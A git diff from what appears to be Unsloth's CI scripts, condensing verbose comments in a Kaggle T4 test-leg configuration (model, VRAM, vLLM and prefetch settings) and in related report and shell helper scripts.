- # WHY THIS MODEL AND THESE VERSIONS: `control` pins transformers 5.5.0 / trl 0.24.0, exactly zoo's own ceiling, so on run 32703162400 `canary` resolved the SAME pair and two legs measured one library set. This leg holds the version pair a released `pip install unsloth` gives a user (PyPI unsloth 2026.8.19 declares transformers <=5.5.0,>=4.51.3 and trl <=0.24.0), at the lower end rather than the ceiling, so the supported RANGE is covered rather than one point of it twice.
+ # Covers the released `pip install unsloth` lower bound so the range is not tested twice at one point.
args = (
"--model",
"unsloth/Qwen3-0.6B",
- # 20, not the default 10, and measured: at 10 (unsloth-probe-defaultleg-r2-563e31) Qwen3-0.6B learns the canary but not to STOP after it, emitting `__UNSLOTH__!!!__` and failing the exact-match rule; at 20 (unsloth-probe-defaultleg-s20-002d25) both repeats emit `__UNSLOTH__!!!` exactly. The alternative, --no-require-canary, would have made the check vacuous.
+ # 20 steps: at 10 the model does not learn to stop after the canary.
"--max-steps",
"20",
- # Q8_0, measured end to end on kernel unsloth-probe-gguf-run-26c758: export 35.7s, a 609.8MB qwen3-0.6b.Q8_0.gguf in the SIBLING directory, and llama-bench reporting pp8 68.85 t/s. So this leg covers the export AND that the exported file runs, which are different claims.
"--export-gguf",
),
- # No reference yet. The committed band (references/t4_qwen2.5-0.5b.json) is a Qwen2.5-0.5B trajectory and says nothing about Qwen3-0.6B; pointing this leg at it would fail on the model change and read like a regression. Capture on a real T4 in its own run, as references/README.md requires, and wire it in then.
+ # No reference yet: the committed band is for a different model.
reference = "",
),
"multi_gpu": Leg(
- # Small, and it has to be: this leg reserves its share on EVERY card, so a big appetite would block gptoss (12.78 of the 13.0 budget) for its whole life. 1.2 MEASURED on kernel unsloth-probe-multigpu-r2-a280e2, both cycles. It was 0.7 first, copied from the other Qwen legs, which under-declared the card the weights are on, since this leg holds a CUDA context on both cards.
+ # Small on purpose: this leg reserves its share on every card.
vram_gb = 1.2,
name = "Multi_GPU",
summary = "Qwen3-0.6B with BOTH T4s visible: unsloth's DEVICE_COUNT > 1 bindings",
install = BASE_INSTALL,
entry = "run_t4_smoke.py",
files = SMOKE_FILES,
- # THE WHOLE POINT, and it is a branch rather than a capacity: unsloth/kernels/utils.py:170 binds torch_gpu_device to torch.cuda.device only when DEVICE_COUNT > 1, and build_kernel.py pins every other payload with CUDA_VISIBLE_DEVICES, so every unsloth kernel this CI has run took the shim. The same is true of the DEVICE_COUNT-sized CUDA_STREAMS / WEIGHT_BUFFERS / ABSMAX_BUFFERS arrays (kernels/utils.py:211-250), the per-device rotary caches (models/llama.py:1838, gemma.py:280) and the temp_mlp device tuples (llama.py:1300). It is FREE because the divergence is triggered by VISIBILITY: Qwen3-0.6B fits on one card, so the leg co-tenants at 0.7 GB per card.
+ # The point: DEVICE_COUNT > 1 code paths only run with multiple visible cards.
all_cards = True,
args = (
"--model",
"unsloth/Qwen3-0.6B",
- # 20 for the same measured reason as the Default leg: at 10 this model learns the canary but not to stop after it, and the exact-match rule then fails on a training length rather than on a regression (unsloth-probe-defaultleg-r2-563e31 vs -s20-002d25).
+ # 20 steps, as in Default.
"--max-steps",
"20",
"--require-multi-gpu",
"--expected-cards",
"2",
- # Both cards VISIBLE, weights on ONE. Measured on unsloth-probe-multigpu-r1-18beab: with two T4s visible accelerate sharded this model across both, unsloth announced `Num GPUs used = 2`, and step 0 died at unsloth/models/llama.py:972 with `index is on cuda:0, different from other tensors on cuda:1`. Whether that is a DEFECT is unsettled (#2467 closed with "unsloth runs on only 1 gpu", #2882 closed as fixed), so it is not something a per-PR check should go red on, and the bindings this leg covers do not depend on it.
+ # Weights on one card: sharding across both currently fails and is not a per-PR check.
"--single-device",
- # NO --export-gguf, and this is a measurement rather than a saving: the bundle `install_llama_cpp` fetches for the notebook legs is the CPU one (on unsloth-probe-full-concurrent-417238 llama-bench reported `backend CPU`), and a CPU llama.cpp cannot split across cards, so a two-card tensor-split assertion here could not fail and would not mean anything. The GGUF path is already covered by four other legs.
+ # No --export-gguf: the bundled llama.cpp is backend CPU, so a tensor-split check could not fail.
),
- # Same situation as `canary` and `Default`: two library versions do not produce one fp16 trajectory, and this leg additionally changes how many cards the kernels see, so a band would go red on ordinary cross-version drift.
reference = "",
),
"gptoss": Leg(
vram_gb = 12.78,
name = "gptoss",
summary = "gpt-oss-20b LoRA: torch.compile and the float32 path",
- # The base install and nothing else, specifically WITHOUT the `triton_kernels` git dependency the gpt-oss notebook installs. Measured: two probe kernels on 2026-08-11, one with triton_kernels and torchao and one with neither, produced the SAME three losses to the last bit, the same 12.78 GB peak and the same compile counters (32 graphs, 779 calls, 2 breaks). They agree because `load_in_4bit=True` never reaches MXFP4: FLOAT_TO_INT_MAPPER redirects `unsloth/gpt-oss-20b` to the NF4 `unsloth/gpt-oss-20b-unsloth-bnb-4bit`, and MXFP4 has no backward pass to reach.
+ # No triton_kernels: load_in_4bit redirects `unsloth/gpt-oss-20b` to the NF4
+ # `unsloth/gpt-oss-20b-unsloth-bnb-4bit`, so MXFP4 is never reached (measured on two
+ # probe kernels on 2026-08-11: same losses, peak and compile counters with or without it).
install = BASE_INSTALL,
entry = "run_gptoss_t4.py",
- # gguf_export.py travels too, now that this leg exports. It is imported lazily inside the export branch, so a leg that never exports would not notice it missing, which is why it is declared here rather than left to chance.
+ # gguf_export.py is imported lazily, so declare it explicitly.
files = COMMON_FILES + ("run_gptoss_t4.py", "gguf_export.py"),
args = (
"--max-steps",
"3",
"--max-seq-length",
"1024",
- # NO EXPORT here either, and for this leg it was never Q8_0: gpt-oss overrides any request ("GPT-OSS does not support GGUF quantization ... Overriding to MXFP4 format"), so this produced a 13153.7MB MXFP4 file in 348.1s across 27.6GB of transient disk (unsloth-probe-gptoss-final-e9bd76), the most expensive export in the suite and the least representative of the claim under test, which `default` makes in 40.6s and `vision_fla_compile` in 99.3s on files small enough to load afterwards.
+ # No export: gpt-oss forces MXFP4, the slowest and least representative export.
),
),
- # NOT WIRED, for a smaller reason than it used to be. See UNWIRED below: the install that killed three probe sessions is re-solved, and what remains is a runtime question needing one session on a real T4.
+ # Not wired; see UNWIRED.
"grpo": Leg(
vram_gb = 13.8,
name = "grpo",
summary = "Qwen3-4B GRPO through a vLLM engine on the same card",
- # vLLM FIRST and alone: it pins torch, and resolving it after unsloth walks torch underneath an already installed stack. THE VERSION MATCHES THE IMAGE, IT IS NOT MERELY OLD: Kaggle ships torch 2.10.0+cu128, and only vLLM 0.17.0 .. 0.19.1 pin torch==2.10.0 (0.11.2-0.16.0 want 2.9.x, 0.20.0-0.26.0 want 2.11.0, 0.27.0+ want 2.13.0). Every other choice REPLACES the image's torch, which is what all three probe sessions died of, since the image's NVIDIA runtime packages belong to 2.10 and pip treats them as satisfying the new torch's pins. 0.19.1 is the newest release needing no replacement, so the leg keeps `system_site_packages`. No xformers: its vLLM attention backend was deleted in 0.12.0. sm_75 has no FlashAttention and no FlashInfer, and the ladder in vllm/platforms/cuda.py falls through to TRITON_ATTN, pinned below rather than left to a probe order that moves between releases; sm_75 is still in CUDA_SUPPORTED_ARCHS at v0.19.1 and fp16 is supported below capability 8.0.
+ # vLLM first and alone: it pins torch. 0.19.1 is the newest pinning the image's torch 2.10.0.
install = (("vllm==0.19.1",),) + BASE_INSTALL,
entry = "run_grpo_t4.py",
files = COMMON_FILES + ("run_grpo_t4.py",),
@@ -254,13 +246,12 @@ LEGS: dict[str, Leg] = {
"unsloth",
"unsloth_zoo",
),
- # ALL FIVE ARE LOAD-BEARING ON A 14.56GB CARD, and are the values that passed rather than the ones that look reasonable. Two probes with the notebook's own settings (seq 2048, 4 generations, rank 32, utilization 0.9) died in the BACKWARD at unsloth_zoo/gradient_checkpointing.py:1013, peaking at 15.97GB in 16-bit and 19.25GB in 4-bit. 4-bit is not the lever it looks like: quantizing weights does nothing for activations while utilization 0.9 still hands vLLM ~13GB up front, and UNSLOTH_VLLM_STANDBY returns the weights during training but not the KV cache reservation. Measured on kernel unsloth-t4-ci-53efcc4e: peak 13.60GB allocated of 14.56GB, three steps in 192s.
+ # All five values are load-bearing on a 14.56 GB card.
args = (
"--max-steps",
"3",
"--load-in-4bit",
"--gpu-memory-utilization",
- # 0.95, measured on BOTH platforms rather than assumed: Colab T4 torch 2.11.0 peak reserved 11.76 GB and Kaggle T4 torch 2.10.0 peak reserved 11.30 GB, sleep/wake 3/3, both passing on the FIRST rung of a 0.95/0.8/0.6/0.5 ladder, ~3 GB under the card. The earlier argument against it came from Qwen3-4B probes that OOMed at 0.9; at 0.6B the activation budget is a different problem.
"0.95",
"--max-seq-length",
"1024",
@@ -271,27 +262,25 @@ LEGS: dict[str, Leg] = {
),
env = {
"UNSLOTH_VLLM_STANDBY": "1",
- # See the install comment. Named rather than probed so a release reordering the ladder turns this leg red instead of silently selecting something else.
+ # Named rather than probed so a backend reorder turns this leg red.
"VLLM_ATTENTION_BACKEND": "TRITON_ATTN",
- # Kaggle cannot link what flashinfer JIT-compiles: on kernel unsloth-t4-ci-e2d9ce9b, flashinfer 0.6.6 compiled all three sampling .cu files cleanly for sm_75 and the link died on `/usr/bin/ld: cannot find -lcuda`. The stub is NOT absent and this IS fixable from here: kernel unsloth-probe-grpo-shipped-d15695 reports libcuda_shim applied against /usr/local/cuda/compat/libcuda.so, which run_grpo_t4.py:597 symlinks onto LIBRARY_PATH and has done since #8440. The two `-L` paths flashinfer passes do not include /usr/local/cuda/compat, which is why the raw link fails and why the hand-written ladder probes, which had no shim, hit it. The setting stays regardless: not JITting is cheaper than JITting in a session billed by wall clock on 4 vCPUs.
+ # Avoid flashinfer JIT: it cannot link on Kaggle and costs wall clock.
"VLLM_USE_FLASHINFER_SAMPLER": "0",
- # The two settings above are NOT sufficient on their own: a probe that set only them failed identically to one that set neither (unsloth-probe-grpo-ladder-kaggle-7e7697 and -r2-ddcb18). unsloth_zoo's patch_vllm OVERWRITES both during model load (vllm_utils.py:2494 sets VLLM_ATTENTION_BACKEND="FLASHINFER", :2502 sets VLLM_USE_FLASHINFER_SAMPLER="1"), reached via `elif Version(vllm_version) >= Version("0.11.0")`, and the guard at 2452-2460 tests only that nvcc and ninja EXIST, which on Kaggle they do. This knob is read at 2449, before any of the assignments, and skips the entire flashinfer block.
+ # Required: unsloth_zoo's patch_vllm overwrites the two settings above unless this is set.
"UNSLOTH_VLLM_NO_FLASHINFER": "1",
},
- # See the field comment. The env var above is kept as well: it is what stops unsloth reaching for FlashInfer at all, and keeping both means a future image that DOES ship the stub still takes the deliberate path rather than whichever one happens to link.
+ # Kept alongside the env var so a future image still takes the deliberate path.
uninstall = ("flashinfer-python", "flashinfer-cubin", "flashinfer-jit-cache"),
- # Now true, which is the point of the version choice above: this leg no longer replaces torch, so it shares the image's view instead of resolving a whole CUDA stack from scratch. Probe 3 spent about an hour of quota doing that and never got past venv creation.
system_site_packages = True,
),
}
-# How many legs one kernel packs. This was 2, the card count, because legs were started all at once and one per card. They now queue (build_kernel.py runs one worker per card, and a card takes its next leg only when the previous one has exited), so the card count no longer caps this; wall clock does, since every leg past the second adds its runtime to one card's column against a 12 hour session kill. MEASURED at five legs on unsloth-probe-all5-kernel-e28818: makespan 792.2s. Note that legs do NOT simply queue one per card: the VRAM admission lets light legs CO-TENANT (frontier and canary hold gpu0 together at 0.7GB each against a 13.0GB budget), while gptoss at 12.78GB is admitted only once gpu0 is empty, which is why it starts at 492.7s. So ADMISSION, not the card count and not a queue, decides, and a fifth HEAVY leg would be a different question. Raised 5 -> 6 for multi_gpu, the cheapest addition yet: it co-tenants on BOTH cards at 1.2GB rather than taking one. Whether the makespan holds is a MEASUREMENT, not this comment.
+# VRAM admission, not card count, decides packing; wall clock against the 12h kill caps legs.
MAX_LEGS_PER_KERNEL = 6
-# Legs defined here and deliberately NOT run, with the reason. A leg is unwired rather than deleted when the payload is right and the environment is not, so the next person to try owes nothing but a working install. Every entry must say what was measured.
+# Legs defined but not run; every entry must say what was measured.
UNWIRED: dict[str, str] = {
- # A leg belongs here only while a specific unanswered question about it would be answered by a session. "Not tried yet" is not that.
"frontier": (
"SUPERSEDED by vision_fla_compile rather than broken. frontier was "
"latest transformers and trl on Qwen2.5-0.5B; the vision leg is latest "
@@ -449,33 +438,28 @@ UNWIRED: dict[str, str] = {
),
}
-# Which legs travel in which kernel. ONE kernel holding every leg, which its 2xT4 session works through two at a time. This was two kernels, and the reason it is one now is NOT quota (a session bills wall clock once, so two kernels of two legs cost 662s against 646s for one of four) but the ACCOUNT: Kaggle allows two concurrent GPU sessions, two kernels take both, and kaggle-t4-studio-gpu-ci.yml runs on the same account, so the notebook leg locked Unsloth out entirely while it ran (run 32607617804 queued ~40 minutes behind notebook run 32607621452). The two workflows now hold separate GitHub concurrency groups; splitting the group without packing the kernel, or packing without splitting, each make things worse alone.
-# gptoss sits THIRD, and that position is load-bearing. The driver prefetches models on a lane that takes no card (kaggle_prefetch.py), and a prefetch only pays for work it finishes BEFORE the leg that wants the model starts, so gptoss, the only leg with a 12 GB download, must not start at t=0. Third is first pick of the second wave, at ~190-220s. Simulated over every permutation against the durations measured on run 32611343797 and a range of the unknown download time D: this order is never worse than the old one at any D tested, prefetching WITHOUT reordering is a REGRESSION (gptoss at t=0 has no window in front of it), and gptoss LAST is worse than doing nothing for any D under ~120s, since ending on the longest leg leaves the other card idle. Chosen on WORST CASE rather than mean, because D is not measured yet. If the prefetch fails outright the schedule degrades to ~568s against the old 563.1s.
-# control and canary stay in the same kernel, which is what their comparison needs: same image, same driver, same hour. They no longer run on the two cards SIMULTANEOUSLY, which is fine, since they were never compared against each other, only each against its own committed reference. What would break them is landing in different SESSIONS, which packing everything into one kernel makes impossible.
-# `grpo` returns here once the illegal memory access in UNWIRED is understood. Running it ALONE (unsloth-t4-ci-c98f14be) reproduced the paired failure exactly, same stack, same 13.8GB peak, same engine_built false, so pairing with gpt-oss was never the variable.
-# `frontier` is REPLACED by `vision_fla_compile` rather than joined by it: everything frontier proved is a subset of the vision leg, which also asserts the vendored FLA kernels, the attention choice on Turing, a real vision training run, the merged vision export, a Q8_0 GGUF with its mmproj sidecar and inference on the exported file. Verified green as a whole leg before wiring (unsloth-probe-visleg-final-2b896b, 2.84GB peak reserved).
+# One kernel holds every leg so the shared account keeps a free session slot.
+# gptoss sits third on purpose so the prefetch lane can finish its download first.
KERNELS: tuple[tuple[str, ...], ...] = (
("canary", "control", "gptoss", "vision_fla_compile", "default"),
)
-# What the prefetch lane warms, in order, into the Kaggle image's default HF cache. See kaggle_prefetch.py for the mechanism and KERNELS above for why gptoss is third. The SMALL model first, which inverts what looks obvious: gpt-oss is bigger but is wanted by ONE leg whose own setup does not finish until ~160s, while Qwen2.5-0.5B gates THREE legs and the first starts at t=0, so it is the only fetch with no lead time in front of it.
-# These must match what the legs LOAD, not what they ASK FOR. The gptoss payload declares DEFAULT_MODEL = "unsloth/gpt-oss-20b", but that is an MXFP4 checkpoint and sm_75 cannot read MXFP4, so unsloth redirects to `-unsloth-bnb-4bit` at load time; the first version of this list prefetched the declared name and pulled 55.1 GB of a checkpoint no leg opens while the leg downloaded the real one anyway. Nothing at runtime notices: a prefetch of the wrong repo downloads happily, warms a cache nobody reads, and reports success.
+# Must match what legs LOAD after redirects, not the declared names.
PREFETCH_REPOS: tuple[str, ...] = (
- # CRITICAL PATH FIRST, a reversal of the original gpt-oss-first order, which was chosen for margin while D (how long 12.5 GB takes) was unknown. D is now measured at 61.7s on kernel unsloth-probe-prefetch-verify-9568-7a0bdd, so every repo here lands inside ~90s whatever the order, and the leg that needs one EARLIEST should not be the one waiting. vision_fla_compile is that leg: it starts at t~21 and it sets the makespan.
+ # Critical path first: vision_fla_compile starts earliest and sets the makespan.
"unsloth/Qwen3.5-2B",
- # Default's model and the 4bit sibling `load_in_4bit=True` actually resolves to. Both, because FLOAT_TO_INT_MAPPER redirects at load time and warming only the name in the args warms a cache the leg never reads.
+ # Both names, because FLOAT_TO_INT_MAPPER redirects at load time.
"unsloth/Qwen3-0.6B",
"unsloth/Qwen3-0.6B-unsloth-bnb-4bit",
"unsloth/Qwen2.5-0.5B-Instruct",
- # Last now rather than first: gptoss is admitted only once a card empties, around t~500 on the measured schedule, so it has the most slack of anything here.
"unsloth/gpt-oss-20b-unsloth-bnb-4bit",
)
-# Declared name -> what actually gets loaded on an sm_75 card. Kept beside the list it corrects so the two cannot drift apart silently.
LOAD_REDIRECTS: dict[str, str] = {
"unsloth/gpt-oss-20b": "unsloth/gpt-oss-20b-unsloth-bnb-4bit",
- # CASE MATTERS HERE: the HF cache keys on the literal string, so prefetching another spelling warms a directory the leg never reads and the download happens twice. Copied from the report rather than typed. Runs before #8058 reported `unsloth/qwen3-0.6b-unsloth-bnb-4bit` in lower case; since #8058 the loader keeps the canonical case, and kernel unsloth-t4-ci-n361d0b65ec92-0d7d reports `resolved_checkpoint: unsloth/Qwen3-0.6B-unsloth-bnb-4bit`.
+ # Case matters: the HF cache keys on the literal string. Measured as
+ # `resolved_checkpoint: unsloth/Qwen3-0.6B-unsloth-bnb-4bit` on kernel unsloth-t4-ci-n361d0b65ec92-0d7d.
"unsloth/Qwen3-0.6B": "unsloth/Qwen3-0.6B-unsloth-bnb-4bit",
}
diff --git a/.github/scripts/kaggle_t4_ci/post_statuses.py b/.github/scripts/kaggle_t4_ci/post_statuses.py
index 71dddf1c9ff..fdc55d7e012 100644
--- a/.github/scripts/kaggle_t4_ci/post_statuses.py
+++ b/.github/scripts/kaggle_t4_ci/post_statuses.py
@@ -46,12 +46,7 @@ def _gh(args: list[str]) -> tuple[int, str, str]:
return proc.returncode, (proc.stdout or "").strip(), (proc.stderr or "").strip()
-# What GitHub says when the commit is genuinely not there, measured:
-# gh api repos/unslothai/unsloth/commits/deadbeef00
-# {"message":"No commit found for SHA: deadbeef00", ..., "status":"422"}
-# Only that message releases the kernel. Status codes do not say it: 404 is
-# also an unreadable repository, 422 an ambiguous abbreviation, and reading
-# either as "gone" would delete the only copy of the result.
+# Only this message releases the kernel: 404 and 422 also mean unreadable or ambiguous.
MISSING_MARKERS = ("no commit found",)
@@ -180,8 +175,6 @@ def main() -> int:
Path(args.out).write_text(json.dumps(outcome, indent = 2), encoding = "utf-8")
if not statuses:
print("no statuses to post this pass")
- # Red when a verdict could not be delivered: the kernel is kept for the
- # next pass, but a delivery failure must not look like a quiet account.
return 1 if outcome["failed"] else 0
diff --git a/.github/scripts/kaggle_t4_ci/report.py b/.github/scripts/kaggle_t4_ci/report.py
index 6296e5f8df1..83d457b2c8f 100644
--- a/.github/scripts/kaggle_t4_ci/report.py
+++ b/.github/scripts/kaggle_t4_ci/report.py
@@ -33,7 +33,7 @@ def _fmt_metric(value) -> str:
if value is None:
return "-"
if isinstance(value, float):
- # NaN is a real fp16 gradient-scaler outcome, not a missing value.
+ # NaN is a real fp16 gradient-scaler outcome.
if value != value:
return "NaN (step skipped)"
return f"{value:.6g}"
@@ -75,7 +75,7 @@ def version_table(reports: list) -> list[str]:
return lines
-# The label the Studio payload reports under. Duplicated in kaggle_studio_ci/report.py rather than shared: these two packages have no import relationship and both already ship a module called `report`, so a shared helper would put one on the other's sys.path, which is how `import report` starts resolving to the wrong file.
+# Duplicated rather than shared: both packages ship a `report` module, so sharing breaks imports.
STUDIO_LABEL = "studio-gpu"
@@ -120,7 +120,6 @@ def render(report: dict) -> list[str]:
config = report.get("config", {})
if config:
- # max_steps is up front: it decides whether the committed reference applies to this run at all.
lines.append(
f"Config: max_steps `{config.get('max_steps')}` - lr "
f"`{config.get('learning_rate')}` - batch "
@@ -180,11 +179,9 @@ def render(report: dict) -> list[str]:
"configuration, so nothing was compared."
)
elif ref.get("note"):
- # A refusal, not a deviation: the deviations list is empty for these, so printing it alone would read like a clean result.
lines.append(f"Reference band: **{status}** - {ref['note']}")
else:
lines.append(f"Reference band: **{status}** - {ref.get('deviations')}")
- # What the band did NOT compare, up front rather than buried in the evidence.
unchecked = ref.get("config_unchecked")
if unchecked:
lines.append(
@@ -225,7 +222,6 @@ def render(report: dict) -> list[str]:
)
lines.append("")
- # The whole point of the instrumentation: a reader answers "is the Hub download worth optimising" from the job summary without downloading the evidence artifact. `fetch_seconds` is None when the timer never attached, rendered as its own sentence rather than a zero, since "no download happened" and "nothing was measured" are different findings.
phases = report.get("load_phases")
if phases:
if phases.get("fetch_seconds") is None:
@@ -255,7 +251,7 @@ def render(report: dict) -> list[str]:
history = report.get("log_history")
if history:
- # GRPO: loss is ~0 by construction at num_iterations=1 and beta=0, so reward and reward_std are what is worth showing.
+ # GRPO loss is ~0 by construction here, so show reward instead.
lines += ["| step | reward | reward_std |", "| --- | --- | --- |"]
for entry in history:
if entry.get("reward") is None:
@@ -297,7 +293,6 @@ SENTINELS = (
def kernel_log_text(evidence: Path) -> str:
"""The kernel log as flat text, whichever shape Kaggle returned it in: `kernels/output` returns a JSON array of ``{stream_name, time, data}`` records, not text, so reading the file directly shows a wall of JSON with one word of message per line."""
chunks = []
- # rglob: a run is several kernels, each collecting into its own directory, so there is no single kernel.log any more.
for path in sorted(evidence.rglob("kernel.log")):
raw = path.read_text(encoding = "utf-8", errors = "replace")
try:
@@ -352,7 +347,6 @@ def prefetch_table(evidence: Path) -> list[str]:
failed = [r for r in records if not r.get("ok")]
lines.append("")
if failed:
- # Not a failure of the run, but said out loud because the schedule assumes this lane worked: legs.KERNELS starts gptoss third to give it a window, and if the window went unused the makespan is the ~568s fallback rather than the ~500s the order was chosen for.
lines.append(
f"{len(failed)} of {len(records)} prefetch(es) failed. This does not fail "
"the run -- the leg downloads the model itself -- but the leg order in "
@@ -394,7 +388,7 @@ def main() -> int:
reason = result.get("reason", "")
reports = result.get("reports", [])
- # The Studio payload can share this kernel (see kaggle_t4_ci/build_kernel.py --with-studio) and emits its report through the same prefix, so it arrives in this list. It is a different SHAPE (assertions rather than a per-step metric trace, no `config`, no `model`), so rendering it here produces a training leg made of question marks; kaggle_studio_ci/report.py renders it properly, each reporter owning its own labels.
+ # Studio reports share this prefix but are a different shape; kaggle_studio_ci/report.py renders them.
reports = [r for r in reports if r.get("label") != STUDIO_LABEL]
verdict, reason = own_verdict(verdict, reason, reports, args.expect)
diff --git a/.github/scripts/lane-load-orchestrator.sh b/.github/scripts/lane-load-orchestrator.sh
index dbdd99791a5..aec6be4240b 100755
--- a/.github/scripts/lane-load-orchestrator.sh
+++ b/.github/scripts/lane-load-orchestrator.sh
@@ -1,16 +1,8 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The load-orchestrator freeze suite, in ONE definition.
-# This used to be a whole workflow holding its own runner slot for ~33s. It now runs as a
-# background lane inside Lint CI, which was going to occupy a runner on every commit
-# anyway. studio-load-orchestrator-ci.yml still exists as a manual escape hatch and calls
-# this same script, so the two cannot drift apart.
-# Deliberately installs no torch and no unsloth: that is what keeps it cheap enough to run
-# on every commit rather than only on the four paths that used to trigger it.
-# Takes its venv directory as $1 so the caller decides the isolation. Inside Lint CI that
-# is a private venv, because the lane installs packages while the foreground lint steps are
-# using the job's interpreter, and two concurrent installs into one site-packages race.
+# Load-orchestrator freeze suite; also called by studio-load-orchestrator-ci.yml.
+# Takes its venv dir as $1: concurrent installs into one site-packages race.
set -euo pipefail
venv_dir="${1:-}"
diff --git a/.github/scripts/lane-lockfile-audit.sh b/.github/scripts/lane-lockfile-audit.sh
index 339c8aca7ca..bd964d21cbc 100755
--- a/.github/scripts/lane-lockfile-audit.sh
+++ b/.github/scripts/lane-lockfile-audit.sh
@@ -1,15 +1,8 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The lockfile supply-chain audit, in ONE definition.
-# Ran as its own workflow on its own runner slot for ~6s of work. It now runs as a
-# background lane inside Lint CI. lockfile-audit.yml keeps its nightly `schedule` and calls
-# this same script, so the scheduled audit is unchanged and the two cannot drift apart.
-# Needs no dependencies at all, which is why it needs no venv: it is stdlib Python over
-# files already in the checkout.
+# Lockfile supply-chain audit; also called by lockfile-audit.yml. Stdlib only, no venv.
set -euo pipefail
-# Parses before it runs, so a syntax error in the auditor is reported as a syntax error
-# rather than as an audit finding.
python3 -c "import ast; ast.parse(open('scripts/lockfile_supply_chain_audit.py').read())"
python3 scripts/lockfile_supply_chain_audit.py
diff --git a/.github/scripts/parity-find-unsloth.sh b/.github/scripts/parity-find-unsloth.sh
index 54f9fc57b51..331b3af035b 100755
--- a/.github/scripts/parity-find-unsloth.sh
+++ b/.github/scripts/parity-find-unsloth.sh
@@ -2,20 +2,9 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Print the absolute path of the `unsloth` CLI belonging to ONE Unsloth home.
-# Usage:
-# parity-find-unsloth.sh <studio-home>
-# Why this is not `command -v unsloth`. install.sh writes a shim into
-# $HOME/.local/bin, which is a single name shared by every install on the
-# machine; the second of two installs overwrites the first. A job that runs two
-# builds side by side and then asks PATH which one to launch gets the same build
-# twice, wearing two labels, and the comparison reports "no difference" -- which
-# is exactly the shape of failure the parity job exists to detect elsewhere.
-# The layout is `$STUDIO_HOME/unsloth_studio/bin/unsloth` (install.sh sets
-# VENV_DIR="$STUDIO_HOME/unsloth_studio"). The other candidates are the legacy
-# layouts `runtime/lifecycle._find_unsloth_bin` still accepts; they are checked
-# so this script and that function cannot disagree about where an Unsloth lives.
-# Nothing is guessed: if no candidate exists this fails loudly rather than
-# falling back to whatever PATH offers.
+# Usage: parity-find-unsloth.sh <studio-home>
+# Not `command -v unsloth`: the shared ~/.local/bin shim points at the last install.
+# Candidates must match runtime/lifecycle._find_unsloth_bin.
set -euo pipefail
diff --git a/.github/scripts/parity-install-side.sh b/.github/scripts/parity-install-side.sh
index 195ae7fe523..9da70361481 100755
--- a/.github/scripts/parity-install-side.sh
+++ b/.github/scripts/parity-install-side.sh
@@ -1,29 +1,9 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Install ONE side of a UI-parity comparison: run the checked-out tree's own
-# `install.sh --local --no-torch` into a home of its own.
-# Usage:
-# parity-install-side.sh <tree> <studio-home> <log-path>
-# NOT `.github/actions/install-unsloth-local`. That action is ROOT-CHECKOUT ONLY
-# and says so: `uses: ./...` resolves from GITHUB_WORKSPACE and takes no
-# expressions, so it cannot be pointed at a second tree, and it installs into
-# the default home, so calling it twice would put the second build on top of the
-# first. A parity job needs exactly the two things it cannot give: another tree
-# and another home.
-# What IS carried over from it, because it is the part that matters:
-# * `set -o pipefail` before the tee. Without it the step reports the exit
-# status of `tee`, not of install.sh, and a failed install passes.
-# * The elapsed-seconds prefix on the STEP LOG only. This is the largest step
-# in the job and install.sh's output carries no timestamps anywhere, so which
-# phase spent the time cannot be read off a CI log. Guessing has already been
-# misleading in this repo. Downstream of `tee` deliberately: the log file
-# keeps byte-for-byte what install.sh wrote.
-# * UV_CACHE_DIR is inherited from the environment rather than set here, so one
-# restored cache serves both sides.
-# `--no-torch` because studiobench drives an external provider through its own
-# pacer and loads no model. A parity digest of the DOM needs the frontend and
-# the backend, and nothing that torch provides.
+# Install one side of a UI-parity comparison via the tree's own `install.sh --local --no-torch`.
+# Usage: parity-install-side.sh <tree> <studio-home> <log-path>
+# Not the install-unsloth-local action: it only handles the root checkout and the default home.
set -uo pipefail
diff --git a/.github/scripts/patch_mamba_cxx20.py b/.github/scripts/patch_mamba_cxx20.py
index f8a5b52ab5d..ef96bafa27c 100644
--- a/.github/scripts/patch_mamba_cxx20.py
+++ b/.github/scripts/patch_mamba_cxx20.py
@@ -32,7 +32,6 @@ from pathlib import Path
OLD = '"-std=c++17"'
NEW = '"-std=c++20"'
-# Two in the HIP branch, two in the CUDA branch: the "cxx" list and the nvcc list of each.
EXPECTED_OCCURRENCES = 4
diff --git a/.github/scripts/prebuilt_wheels.py b/.github/scripts/prebuilt_wheels.py
index 7a0d9606d2f..4984ef4ed3d 100644
--- a/.github/scripts/prebuilt_wheels.py
+++ b/.github/scripts/prebuilt_wheels.py
@@ -41,20 +41,12 @@ import os
import sys
import zipfile
-# The CUDA major that every wheel here is built against, and the only one. It is the local
-# version segment upstream writes (cu13), not the toolkit patch level: upstream normalises
-# 13.x to "13" in get_wheel_url(), and a wheel built with 13.0 and one built with 13.2 are
-# interchangeable for the purpose the tag serves, which is "do not install this on cu12".
+# Local version segment (cu13), not the toolkit patch level.
CUDA_TAG = "13"
-# The toolkit actually installed on the runner. Separate from CUDA_TAG because this one is a
-# real apt package version and is reported in the notes, where "cu13" alone would be vague.
CUDA_TOOLKIT = "13.0"
-# torch 2.7 and newer ship pip wheels built with _GLIBCXX_USE_CXX11_ABI=1, so there is no
-# abiFALSE variant to build for 2.13 or 2.14 -- upstream's own matrix excludes it from 2.7 on.
-# The tag is still in the filename because it is in every upstream filename, and a resolver
-# that pattern-matches upstream names has to find it here too.
+# torch 2.7+ wheels are cxx11 ABI only; the tag stays to match upstream filenames.
CXX11_ABI = "TRUE"
# Device code is most of every wheel. Upstream flash-attn 2.8.1 compressed all of it; the commit
@@ -205,23 +197,16 @@ SPECS = {
"repo": "Dao-AILab/flash-attention",
"ref": "edb5c76ee329b18ed95d1f7ea9aa522a1331ab7d",
"submodules": True,
- # The build is one nvcc invocation per (kernel, arch) and the kernels are large. On a
- # 4-core, 16 GB hosted runner nvcc 13 goes OOM above one job; this is upstream's own
- # value for the cu13 legs of its publish matrix, arrived at the same way.
+ # nvcc 13 OOMs above one job on a 16 GB hosted runner.
"max_jobs": "1",
"nvcc_threads": "2",
"env": {
"FLASH_ATTENTION_FORCE_BUILD": "TRUE",
